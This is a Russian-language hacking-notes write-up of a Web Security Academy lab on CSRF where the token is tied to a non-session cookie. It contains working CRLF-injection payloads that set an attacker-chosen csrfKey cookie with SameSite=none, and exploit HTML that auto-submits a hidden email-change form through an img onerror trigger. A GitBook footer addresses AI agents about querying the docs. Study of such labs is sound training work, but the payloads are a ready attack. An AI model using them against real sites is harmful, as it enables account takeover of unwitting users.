> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF с токеном, привязанным к cookie, но не к сессии

### CSRF, где токен привязан к не-сессионной cookie

Функция смены email уязвима к CSRF. Она использует чипы, но они не полностью интегрированы в механизм сессии. Учетные записи: `wiener:peter` и `carlos:montoya`.

### Ключевая идея

* Есть `cookie csrfKey` и параметр запроса CSRF `CSRF` для смены email. Оба значения «синхронизированы», но **не связаны с сессией**.

<figure><img src="/files/f7e55729f8b42bb4e17423b53b87becacb0ba93e" alt=""><figcaption></figcaption></figure>

* Копируя пару (`cookie csrfKey`, `CSRF`) из одной учетной записи в другую, можно изменить email одной жертвы **без** того, чтобы она была привязана к ее сессии.
* Поле поиска сохраняет последний поиск в cookie сессии (`последний searchTerm`).

<figure><img src="/files/b0076772900e6843756510b1382fae530fad7d04" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/650a61011cedc88e867f14d1f219ce717681068a" alt=""><figcaption></figcaption></figure>

#### Технически (внедрение CRLF через исследование)

* Можно **внедрять заголовки** через поиск, чтобы заставить браузер установить произвольную cookie.

Простая строка вроде `hello csrfKey=aZCI...` не интерпретируется.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/2505763846e5b8b390352ba558c81d6e2ac4848a" alt=""><figcaption></figcaption></figure>

С другой стороны, с **возвратом каретки + переводом строки** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/1ce235b1caecc2b448549185b308a419085ee9dc" alt=""><figcaption></figcaption></figure>

Рабочий пример:

<figure><img src="/files/163ea1f4b0073208295fc2c00fadead745b38584" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ интерпретируется как **Set-Cookie** на стороне ответа.

<figure><img src="/files/9e9214291266729ad9d2ce664ebb4a032e263595" alt=""><figcaption></figcaption></figure>

Для кросс-сайтового контекста укажите `SameSite=none` чтобы cookie сопровождала следующий запрос после эксплойта.

Пример (в адресной/поисковой строке запроса):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Размещённый оператор

1. **Принуждение** эту `cookie csrfKey` cookie у жертвы через image-запрос к странице поиска (которая переписывает заголовок):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
